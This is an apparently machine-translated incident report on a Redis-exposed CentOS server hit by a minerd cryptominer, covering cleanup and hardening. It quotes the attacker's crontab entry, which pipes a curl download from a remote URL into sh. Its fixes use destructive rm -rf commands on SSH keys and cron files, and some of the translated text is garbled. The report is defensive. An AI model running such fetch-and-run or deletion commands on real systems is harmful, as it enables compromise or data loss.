The host operating system is CentOS7, and the application architecture is Java+MySQL+Redis. The customer described that the problem was that there was a killing activity from 2pm to midnight. The seckill system started to run normally, but suddenly became unavailable at 7pm. After the front desk submitted the seckill request, the back end did not respond and eventually timed out.

Analysis of screening process

Log in to the server first and check the system status. The target server is 16-core 32GB, and the average load is around 10 after executing the top command. The main reason is that a suspicious minerd process consumes a lot of CPU resources. The minerd process is also started by the root user and has been started for 37min25s at 19:37. Then, I asked the customer about the duration of the seckill system failure, and the customer replied about half an hour.

A search for the keyword minerd turns up a mining program. The essence of mining is to use a computer to solve a complex mathematical problem. Specific algorithms consume a lot of CPU resources, resulting in system stuttering.

Now that you’ve identified the problem, let’s get clear and solve it:

  1. Clean up mining procedures.
  2. Check the reasons for the mining program implantation.
  3. Fix bugs, security hardening.

Clean up mining procedures

Find minerd’s process number 13343 from top. Based on the process number, query the program path that generated the process.

Run the following command to query the executable file path corresponding to PID
ls -al /proc/13343/exe
Copy the code

The preceding command results in /var/tmp/minerd. Then run kill -9 13343 to kill the process and run rm -rf /var/tmp/minerd to clean up the mining program.

Run top again and find that the minerd process is no longer running and the average load has decreased, indicating that the problem has been solved initially. However, in general, the crontab will be modified when the mining program is installed. Check /var/spool/cron/root and find the following scheduled tasks:

19-23, 0 to 7 * / 5 * * * curl - fsSL https:// * * * * * / API/report? pm=*** | shCopy the code

It can be seen that this planned task to avoid working hours secretly mining, with a certain concealment. This also confirms the customer’s claim that the system failed at 7pm. Rm -rf /var/spool/cron/root Delete the scheduled task.

Check the cause of mining program implantation

Redis port 6380 is listening on 0.0.0.0 through netstat -tnpl, which is a high-risk operation. Next, iptables -nl finds that the INPUT chain has an open rule for port 6380:

ACCEPT TCP -- 0.0.0.0/0 0.0.0.0/0 TCP DPT :6380Copy the code

This rule makes Redis open to the whole network, and you can use Redis -cli -h xx.xx.xx.xx -p 6380 to log in to Redis remotely without a password from the Internet. It is possible for hackers to exploit the Redis vulnerability by injecting crontab into a mining program via rebound Shell.

Ask the customer why port 6380 is open. The customer recalled that port 6380 had to be opened because the developers were working from home and needed to connect to Redis remotely. After the developers dealt with the problem, the operation and maintenance personnel forgot to close the port, which led to the accident.

For online servers, ports cannot be opened at will. Although the problem is reflected in port opening, the essence is the cooperation mechanism of development and operation and maintenance. If communication is strengthened, such problems will definitely be avoided.

Fix bugs, security hardening

  1. Set a firewall to prohibit the Internet from accessing Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
Copy the code

  2. Run the Redis service with low privileges.

  3. Change the default Redis ports. Ports 6379, 6380, and 6381 are commonly used by Redis. You are advised to change them to unrecognizable ports.

  4. Add password authentication to Redis, modify redis.conf, and add requirePass password. Restarting Redis takes effect.

  5. To clear the key authentication file, run rm -rf /root/.ssh/*.

  6. Fix the SSHD configuration file /etc/ssh/sshd_config, check which configuration items are modified, or copy sshd_config from a normal system. Restarting the SSHD takes effect.

  7. Authorized_keys stores the account information that the local system allows for remote SSH password-free login. Authorized_keys: 600 authorized_keys: 600 authorized_keys: 600 authorized_keys: 600 authorized_keys

    chmod 400 ~/.ssh/authorized_keys
chattr +i ~/.ssh/authorized_keys
Copy the code

  8. Check whether suspicious content exists in /etc/rc.local and /etc/init.d.

Welcome to pay attention to me, more Linux dry goods waiting for you!